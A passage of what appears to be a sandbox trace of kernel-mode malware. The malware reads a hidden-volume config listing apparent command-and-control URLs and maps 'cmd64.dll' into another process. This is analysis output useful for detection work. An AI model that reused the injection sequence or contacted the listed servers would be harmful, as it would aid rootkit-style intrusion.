| out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.425] KeEnterCriticalRegion () [0076.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.425] ExFreePoolWithTag (P=0xfffffa80035c2520, Tag=0x0) [0076.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.425] KeLeaveCriticalRegion () [0076.425] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.426] ZwClose (Handle=0xffffffff80000284) returned 0x0 [0076.426] KeSetEvent (in: Event=0xfffffa80035d0050, Increment=0x0, Wait=0 | out: Event=0xfffffa80035d0050) returned 0 [0097.376] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x578, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800004fc) returned 0x0 [0097.376] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0097.376] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000520, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0097.376] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.376] KeEnterCriticalRegion () [0097.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.376] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0097.377] IdePortDispatch () returned 0x103 [0097.377] KeWaitForMutexObject () returned 0x0 [0097.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.377] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.377] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.377] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.377] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.377] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800367d5d0 [0097.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.377] KeLeaveCriticalRegion () [0097.377] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.377] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0097.377] NtLockFile (in: FileHandle=0xffffffff80000520, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0097.377] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.377] KeEnterCriticalRegion () [0097.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.377] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.377] KeLeaveCriticalRegion () [0097.377] ZwQueryInformationFile (in: FileHandle=0xffffffff80000520, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0097.377] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.377] KeEnterCriticalRegion () [0097.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.377] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0097.377] IdePortDispatch () returned 0x103 [0097.377] KeWaitForMutexObject () returned 0x0 [0097.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.378] KeLeaveCriticalRegion () [0097.378] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.378] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001781390 [0097.378] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0097.378] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0097.378] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0097.378] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0097.378] ZwReadFile (in: FileHandle=0xffffffff80000520, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001781390, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001781390*) returned 0x0 [0097.378] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.378] KeEnterCriticalRegion () [0097.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.378] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880040f8390 [0097.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.378] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0097.378] IdePortDispatch () returned 0x103 [0097.378] KeWaitForMutexObject () returned 0x0 [0097.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.378] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0097.378] IdePortDispatch () returned 0x103 [0097.378] KeWaitForMutexObject () returned 0x0 [0097.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.378] KeLeaveCriticalRegion () [0097.378] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.379] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0097.379] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0097.379] strncpy (in: _Dest=0xfffffa80038e0274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0097.379] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0097.379] ExFreePoolWithTag (P=0xfffff8a001781390, Tag=0x0) [0097.379] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0097.379] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.379] KeEnterCriticalRegion () [0097.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.379] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0097.379] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038c0dd0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0097.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.379] KeLeaveCriticalRegion () [0097.379] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.379] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.379] KeEnterCriticalRegion () [0097.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.379] ExFreePoolWithTag (P=0xfffffa800367d5d0, Tag=0x0) [0097.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.379] KeLeaveCriticalRegion () [0097.379] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.379] KeStackAttachProcess (in: PROCESS=0xfffffa80038a8b30, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80038a8b30, ApcState=0xfffff88002f8fa58) [0097.379] _snwprintf (in: _Dest=0xfffffa80038e006c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0097.379] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0097.379] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff80000520, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0097.379] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0097.379] KeEnterCriticalRegion () [0097.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.380] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0097.380] IdePortDispatch () returned 0x103 [0097.380] KeWaitForMutexObject () returned 0x0 [0097.380] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0097.380] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0097.380] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.380] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.380] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.380] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0097.380] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0097.380] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0097.380] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0097.380] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0097.380] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0097.380] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038bc530 [0097.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.380] KeLeaveCriticalRegion () [0097.380] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.380] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000520 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0097.380] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0097.380] KeEnterCriticalRegion () [0097.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.381] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0097.381] IdePortDispatch () returned 0x103 [0097.381] KeWaitForMutexObject () returned 0x0 [0097.381] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0097.381] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0097.381] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.381] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.381] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.381] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0097.381] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0097.381] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0097.381] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0097.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.381] KeLeaveCriticalRegion () [0097.381] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.381] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004fc, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0097.381] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0097.381] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0097.381] KeEnterCriticalRegion () [0097.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.381] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880040f9000 [0097.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.382] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.382] IdePortDispatch () returned 0x103 [0097.382] KeWaitForMutexObject () returned 0x0 [0097.382] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0097.382] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0097.382] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.382] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.382] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0097.382] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0097.382] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0097.382] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0097.382] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0097.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.382] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.382] IdePortDispatch () returned 0x103 [0097.383] KeWaitForMutexObject () returned 0x0 [0097.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.383] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.383] IdePortDispatch () returned 0x103 [0097.383] KeWaitForMutexObject () returned 0x0 [0097.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.383] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.383] IdePortDispatch () returned 0x103 [0097.383] KeWaitForMutexObject () returned 0x0 [0097.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.384] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.384] IdePortDispatch () returned 0x103 [0097.384] KeWaitForMutexObject () returned 0x0 [0097.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.384] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.384] IdePortDispatch () returned 0x103 [0097.384] KeWaitForMutexObject () returned 0x0 [0097.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.384] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.384] IdePortDispatch () returned 0x103 [0097.385] KeWaitForMutexObject () returned 0x0 [0097.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.385] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.385] IdePortDispatch () returned 0x103 [0097.385] KeWaitForMutexObject () returned 0x0 [0097.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.385] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.385] IdePortDispatch () returned 0x103 [0097.385] KeWaitForMutexObject () returned 0x0 [0097.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.385] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.385] IdePortDispatch () returned 0x103 [0097.386] KeWaitForMutexObject () returned 0x0 [0097.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.386] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | 